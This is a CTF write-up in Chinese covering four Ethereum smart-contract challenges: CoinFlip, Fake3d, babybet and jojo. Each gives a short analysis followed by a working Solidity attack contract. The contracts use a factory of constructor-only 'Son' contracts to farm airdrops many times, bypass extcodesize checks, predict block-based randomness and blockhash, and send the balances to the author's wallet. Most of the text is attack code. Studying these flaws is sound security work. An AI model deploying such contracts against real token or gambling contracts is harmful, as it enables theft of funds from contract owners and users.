RoarCTF2019 CoinFlip
nc连接拿源码
Ap:空投 Transfer:转账
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| contract father{ function attack(uint times){ for(uint i=0;i<times;i++){ Son son = new Son(); } } }
contract Son{ address pb=0xF60ADeF7812214eBC746309ccb590A5dBd70fc21; address mywallet=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68; constructor()public{ P_Bank(pb).Ap(); uint amount = P_Bank(pb).balances(address(this)); P_Bank(pb).Transfer(mywallet,amount); } }
|
bctf2018 Fake3d
拿源码
airDrop:空投
空投函数生成的随机数依赖的是msg.sender,可以算出来
turingTest修饰器需要绕过extcodesize,合约的extcodesize不为0,但正在执行构造函数constructor
并部署时extcodesize为0
合约用tx.origin来发奖金,所以不需要转账,tx.origin指向调用源的账号,而msg.sender指向调用的账号或合约
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| contract father{ Son son; function attack(uint times){ for(uint i=0;i<times;i++){ son = new Son(); } } }
contract Son{ using SafeMath for *; constructor(){ Fake3D f3=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a); for (uint i = 0; i < 900; i++) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(this)))) / (now)).add (block.number) )));
if((seed - ((seed / 1000) * 1000)) < 288){ f3.airDrop(); } } } }
|
直接调用CaptureTheFlag会失败,源码里Fake3D的构造函数传入了一个WinnerList合约地址
https://ropsten.etherscan.io/查看参数得到WinnerList合约地址
反编译分析得到tx.origin的第0x13个字节,也就是最后一字节为0x43或倒数第二字节(第0x12个字节)为0xb1才能通过
爆破符合的地址,用这个地址调用攻击合约
QWB2019 babybet
反编译合约
有空投函数profit和bet函数,bet函数可以通过猜数字增加balance
所要猜的数字生成方式为
1
| guess = block.blockHash(block.number-1);
|
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| contract father{
function destory(){ selfdestruct(msg.sender); }
function attack(uint times){ for(uint i=0;i<times;i++){ Son son = new Son(); } }
}
contract Son{ address bbb=0x5d1BeEFD4dE611caFf204e1A318039324575599A; address mywallet=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68; constructor()public{ babybet(bbb).profit(); uint guess = uint(block.blockhash(block.number - 0x01)); uint guess1 = guess % 3; babybet(bbb).bet(guess1); uint amount=babybet(bbb).balance(address(this)); if(amount>10){ babybet(bbb).transferbalance(mywallet,amount); } } }
|
数字经济2019 jojo
地址:0x53c079c6d47fd7399c1ceee171db7141c35a6f44
附件:jojo.broken
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| pragma solidity ^0.4.24;
contract jojo { mapping(address => uint) public balanceOf; mapping(address => uint) public gift; address owner; constructor()public{ owner = msg.sender; } event SendFlag(string b64email); function payforflag(string b64email) public { require(balanceOf[msg.sender] >= 100000); emit SendFlag(b64email); } ............
|
先逆向合约
1 2 3 4 5 6 7 8 9 10 11
| function gift() public { assert(gift[msg.sender]==0); balanceOf[msg.sender]+=100; gift[msg.sender]=1; }
function transfer(address to,uint value) public { assert(balanceOf[msg.sender] >= value); balanceOf[msg.sender]-=value; balanceOf[to]+=value; }
|
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| contract father{ function attack(uint times){ for(uint i=0;i<times;i++){ Son son = new Son(); } } }
contract Son{ jojo j=jojo(0x53c079c6d47fd7399c1ceee171db7141c35a6f44); address me=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68; constructor(){ j.gift(); j.transfer(me,100); } }
|